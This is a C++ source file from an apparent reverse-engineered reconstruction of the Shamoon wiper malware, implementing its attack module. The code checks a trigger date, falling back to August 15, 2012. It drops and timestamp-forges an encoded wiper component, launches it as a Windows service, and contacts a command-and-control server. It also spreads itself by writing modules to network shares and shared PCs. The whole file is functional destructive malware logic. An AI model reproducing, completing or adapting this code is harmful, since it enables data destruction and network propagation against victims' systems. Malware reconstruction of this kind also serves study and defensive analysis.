// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "Attack.h"

#include "../Utils/String.h"
#include "../Utils/Time.h"
#include "../Utils/System.h"
#include "../Utils/Process.h"
#include "../Utils/IO.h"
#include "../Utils/General.h"

#include "Entry.h"
#include "Infection.h"
#include "Encryption.h"
#include "Handler.h"

#include "C2.h"
#include "32bit.h"
#include "Wiper.h"

using namespace Shamoon::Utils;
using namespace Shamoon::Utils::String;
using namespace Shamoon::Utils::Time;
using namespace Shamoon::Utils::Process;
using namespace Shamoon::Utils::System;
using namespace Shamoon::Utils::IO;

using namespace Shamoon::Modules::Infection;
using namespace Shamoon::Modules::Encryption;
using namespace Shamoon::Modules::Handler;
using namespace Shamoon::Modules::Entry;

using namespace Shamoon::Modules::_32bit;
using namespace Shamoon::Modules::Wiper;
using namespace Shamoon::Modules::C2;

bool Shamoon::Modules::Attack::GetAttackDateFromFile(WORD *lpawDate)
{
	if(!lpawDate)
		return false;
	
	WCHAR szFilePath[256];
	M_STRING02(szFilePath,
		
		g_szWinDir,
		ATTACK_CONFIG
	)
	
	HANDLE hFileConfig = CreateFileW(szFilePath, GENERIC_READ, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
	
	bool bIsValidFile = false;
	if(hFileConfig && hFileConfig != INVALID_HANDLE_VALUE)
	{
		char szData[10];
		DWORD dwLen = 0;
		
		ReadFile(hFileConfig, szData, 10, &dwLen, 0);
		
		if(dwLen == 10)
		{
			bIsValidFile = true;
			
			IS_VALID_CONFIG(4, 59, A_MINUTE)
			IS_VALID_CONFIG(3, 23, A_HOUR)
			IS_VALID_CONFIG(2, 30, A_DAY)
			IS_VALID_CONFIG(1, 30, A_MONTH)
			IS_VALID_CONFIG_YEAR(0, 98, A_YEAR)
			
			if(lpawDate[A_DAY] > GetDaysInMonth(lpawDate[A_YEAR], lpawDate[A_MONTH]))
				bIsValidFile = false;
		}
		
		CloseHandle(hFileConfig);
	}
	
	return bIsValidFile;
}

int Shamoon::Modules::Attack::TimeToAttack()
{
	WORD awDate[6]; // [sp+Ch] [bp-24h]@1
	
	if(GetAttackDateFromFile(awDate) == false)
	{
		// Default time: 15/8/12 8:08
		awDate[A_YEAR  ] = 2012;
		awDate[A_MONTH ] = 8;
		awDate[A_HOUR  ] = 8;
		awDate[A_DAY   ] = 15;
		awDate[A_MINUTE] = 8;
	}
	
	SYSTEMTIME stNow;
	GetSystemTime(&stNow);
	
	if(stNow.wYear < awDate[A_YEAR])
		return 2;
	
	if(stNow.wMonth >= awDate[A_MONTH] && stNow.wDay >= awDate[A_DAY] && stNow.wHour >= awDate[A_HOUR] && stNow.wMinute >= awDate[A_MINUTE])
		return 0;
	
	if(stNow.wYear == awDate[A_YEAR] && stNow.wMonth == awDate[A_MONTH] && stNow.wDay == awDate[A_DAY] && stNow.wHour == awDate[A_HOUR])
	{
		if(awDate[A_MINUTE] - stNow.wMinute < 2)
		{
			if(awDate[A_MINUTE] - stNow.wMinute < 0)
				return 0;
			
			return awDate[A_MINUTE] - stNow.wMinute;
		}
	}
	
	return 2;
}

/** ----->> TODO: Understand what kind of std:: class is <<----- **/
//std::basic_ios<char> byte_41E2E0;

bool Shamoon::Modules::Attack::LaunchAttack()
{
	//HANDLE v4; // eax@12
	
	//char *szGarbage; // [sp+C8h] [bp-218h]@1
	WCHAR svc_path[250]; // [sp+D0h] [bp-210h]@4
	
	/*szGarbage = GARBAGE_STRING;
	
	std::ofstream v6(GARBAGE_FILE_PATH);
	if(v6.good()) // File exists?
	{
		v6.write(szGarbage, strlen(szGarbage));
		v6.close(); // Again it doesn't seem to have any sense
	}*/

	g_dwWiperID = SearchProcessByIdOrName(g_dwWiperID, g_szWiperName);
	if(g_dwWiperID)
		goto LABEL_12;

	if(!GetWiperSpecific(g_szWiperName, svc_path))
		return 0;
	
	if(!WriteEncodedResource(svc_path, 0, (LPCWSTR)0x70, L"PKCS12", g_keys[KEY_PKCS12], 4)) // Wiper
		goto LABEL_12;
	
	SetReliableFileTime(svc_path);

	g_dwWiperID = 0;
	if(StartServiceProcess(g_szWiperName, svc_path, &g_dwWiperID)) // Execute the wiper
	{
		
LABEL_12:
		/*v4 = LoadImageW(NULL, L"myimage12767", IMAGE_BITMAP, 0, 0, LR_MONOCHROME);
		if(v4)
		{
			// Only 18 characters, that's strange
			v6.write((const char *)v4, 18);
		}
		else
		{
			// That part of the code has no sense:
			// 25 bytes allocated, 20 filled with '@',
			// 18 written into the file
			char *awDate = new char[25];
			
			// Put some garbage
			memset(awDate, '@', 20);
			v6.write(awDate, 18);
			
			if(awDate) delete [] awDate;
		}*/
		
		return 1;
	}
	
	return 0;
}

bool Shamoon::Modules::Attack::RunAttack(BOOL is_service_running)
{
	HANDLE hObject; // [sp+8h] [bp-4h]@2
	int time_to_attack; // [sp+14h] [bp+8h]@4

	if(is_service_running == TRUE)
	{
		g_ready_to_attack = false;
		
		InitializeCriticalSection(&g_critical_section);
		SvcSleep(GetRandom() % 60 + 60);
		
		hObject = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ContactC2Server, NULL, 0, NULL);
		if(!bSvcStopped)
		{
			do
			{
				SYSTEM_CRITICAL_SECTION
				(
					DeleteWiperModules();
				)
				
				if(g_ready_to_attack || (time_to_attack = TimeToAttack()) == 0)
				{
					g_ready_to_attack = true;
					
					SYSTEM_CRITICAL_SECTION
					(
						LaunchAttack();
					)
					
					SvcSleep(GetRandom() % 60 + 120);
				}
				else
				{
					Save32bitModule();
					SvcSleep(60 * time_to_attack + GetRandom() % 60);
				}
			}
			while(!bSvcStopped);
		}
		
		// Wait until the netinit function end
		if(hObject != NULL)
		{
			WaitForSingleObject(hObject, WAIT_FAILED);
			CloseHandle(hObject);
		}
		
		DeleteCriticalSection(&g_critical_section);
		return true;
	}
	
	if(g_argc <= 1)
		return Save32bitModule();
	
	return (strlenW(g_argv[1]) == 1) ? WriteModuleOnSharedNetwork() : WriteModuleOnSharedPCByArgv();
}